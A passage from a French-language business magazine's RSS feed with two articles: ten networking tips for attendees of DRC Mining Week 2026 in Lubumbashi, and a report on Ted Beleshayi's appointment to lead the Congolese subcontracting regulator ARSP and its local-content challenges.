]]> https://entrepreneurmagazinerdc.com/index.php/2026/06/18/drc-mining-week-2026-la-rdc-veut-transformer-son-avantage-geologique-en-puissance-industrielle/feed/ 0 DRC Mining Week 2026 : 10 conseils pour ne pas repartir avec seulement un sac de goodies https://entrepreneurmagazinerdc.com/index.php/2026/06/06/drc-mining-week-2026-10-conseils-pour-ne-pas-repartir-avec-seulement-un-sac-de-goodies/ https://entrepreneurmagazinerdc.com/index.php/2026/06/06/drc-mining-week-2026-10-conseils-pour-ne-pas-repartir-avec-seulement-un-sac-de-goodies/?noamp=mobile#respond Sat, 06 Jun 2026 17:47:03 +0000 https://entrepreneurmagazinerdc.com/?p=1600 Lubumbashi accueillera du 17 au 19 juin 2026 une nouvelle édition de la DRC Mining Week. Plus de vingt ans d’existence, des milliers de participants, des centaines d’exposants et une seule question qui revient chaque année : « Qu’est-ce qu’on gagne à y participer ? »

La réponse est simple : tout dépend de votre préparation.

Une DRC Mining Week n’est pas un concert, ni une promenade de santé entre deux stands climatisés. C’est un immense marché des opportunités où les affaires se concluent souvent entre deux cafés et trois cartes de visite. Voici dix conseils pour éviter de passer à côté.

1. Définissez votre mission

Venir « pour voir » est rarement une stratégie. Cherchez-vous des clients, des partenaires, des investisseurs ou des fournisseurs ? Fixez trois objectifs précis avant même d’imprimer votre badge.

2. Étudiez la liste des participants

Les bonnes rencontres se préparent. Consultez le programme, identifiez les entreprises et les personnes que vous souhaitez rencontrer et contactez-les avant l’événement.

3. Prenez rendez-vous avant d’arriver

Les décideurs ont des agendas remplis. Un rendez-vous fixé une semaine avant vaut mieux qu’une tentative de discussion improvisée dans un couloir bondé.

4. Préparez votre pitch

Vous avez trente secondes pour expliquer qui vous êtes et ce que vous apportez. Si votre présentation dure plus longtemps qu’un trajet en ascenseur, il faut la raccourcir.

5. Soignez votre présence digitale

Avant de vous rencontrer, beaucoup vérifieront votre profil LinkedIn ou le site de votre entreprise. Assurez-vous qu’ils donnent envie d’aller plus loin.

6. Choisissez les bonnes conférences

On ne peut pas être partout. Sélectionnez les sessions qui correspondent à vos objectifs et à votre secteur d’activité.

7. Sortez de votre zone de confort

Parlez à des inconnus. Les meilleures opportunités ne se trouvent pas toujours sur le stand que vous aviez prévu de visiter.

8. Échangez des contacts intelligemment

Accumuler 200 cartes de visite ne sert à rien. Privilégiez des échanges utiles et prenez quelques notes sur chaque contact rencontré.

9. Profitez des événements de réseautage

Cocktails, déjeuners, rencontres informelles : c’est souvent là que les discussions les plus productives commencent.

10. Faites le suivi rapidement

La vraie DRC Mining Week commence après la DRC Mining Week. Envoyez un message dans les 48 heures, proposez une réunion et entretenez la relation.

Le vrai retour sur investissement

Les participants qui réussissent ne sont pas forcément ceux qui disposent du plus grand stand ou du plus gros budget. Ce sont ceux qui arrivent avec un plan, un agenda et une vision claire.

À la DRC Mining Week, les opportunités existent. La différence se joue souvent entre ceux qui attendent qu’elles viennent à eux et ceux qui vont les chercher.

Alors, cette année, ne vous demandez pas ce que la DRC Mining Week peut faire pour vous. Demandez-vous plutôt ce que vous avez prévu d’y accomplir.

D. Lukoji

]]> https://entrepreneurmagazinerdc.com/index.php/2026/06/06/drc-mining-week-2026-10-conseils-pour-ne-pas-repartir-avec-seulement-un-sac-de-goodies/feed/ 0 Contenu local : le grand défi de Ted Beleshayi https://entrepreneurmagazinerdc.com/index.php/2026/06/06/contenu-local-le-grand-defi-de-ted-beleshayi/ https://entrepreneurmagazinerdc.com/index.php/2026/06/06/contenu-local-le-grand-defi-de-ted-beleshayi/?noamp=mobile#respond Sat, 06 Jun 2026 17:28:51 +0000 https://entrepreneurmagazinerdc.com/?p=1597 Kinshasa. Le changement à la tête de l’Autorité de régulation de la sous-traitance dans le secteur privé (ARSP) ouvre une nouvelle séquence pour l’économie congolaise. Nommé Directeur général par ordonnance présidentielle le 3 juin 2026, Ted Beleshayi Kasanda succède à Miguel Kashal Katemb après trois années marquées par une offensive sans précédent en faveur du contenu local.

L’enjeu dépasse largement un simple changement de dirigeants. Derrière l’ARSP se joue une bataille économique majeure : faire émerger une véritable classe d’entrepreneurs congolais capable de capter une part significative des milliards de dollars générés chaque année par l’économie nationale.

Sous Miguel Kashal, l’institution a multiplié les contrôles et les régularisations. Plus de 450 contrats de sous-traitance ont été examinés entre février et avril 2026. Pourtant, les chiffres révèlent une réalité plus complexe : le volume des marchés déclarés est passé de 2,456 milliards USD en 2024 à 1,713 milliard USD en 2025, soit une baisse de plus de 30 %.

Avant son départ, Miguel Kashal a salué « la vision du Président de la République pour l’émergence d’une véritable classe moyenne congolaise et le développement du contenu local », tout en remerciant les acteurs qui ont accompagné cette ambition.

Pour Ted Beleshayi, expert-comptable passé par KPMG et l’Inspection générale des finances, le défi est immense. Car le potentiel du marché de la sous-traitance est estimé à plus de 8,5 milliards USD, mais demeure concentré à plus de 90 % dans le secteur minier.

Comme l’a souligné John Kanyoni, figure du secteur privé, « Ted va apporter un plus à l’ARSP. En binôme avec Fely Samuna, ils feront bouger les lignes. » Mais au-delà de la régulation, la question centrale reste entière : comment financer, former et structurer des PME congolaises capables de rivaliser durablement avec les grands groupes internationaux ?

C’est désormais sur ce terrain que sera jugée la nouvelle direction de l’ARSP. Le véritable défi n’est plus seulement de réserver des marchés aux Congolais, mais de bâtir des champions économiques congolais.

La Rédaction

]]> https://entrepreneurmagazinerdc.com/index.php/2026/06/06/contenu-local-le-grand-defi-de-ted-beleshayi/feed/ 0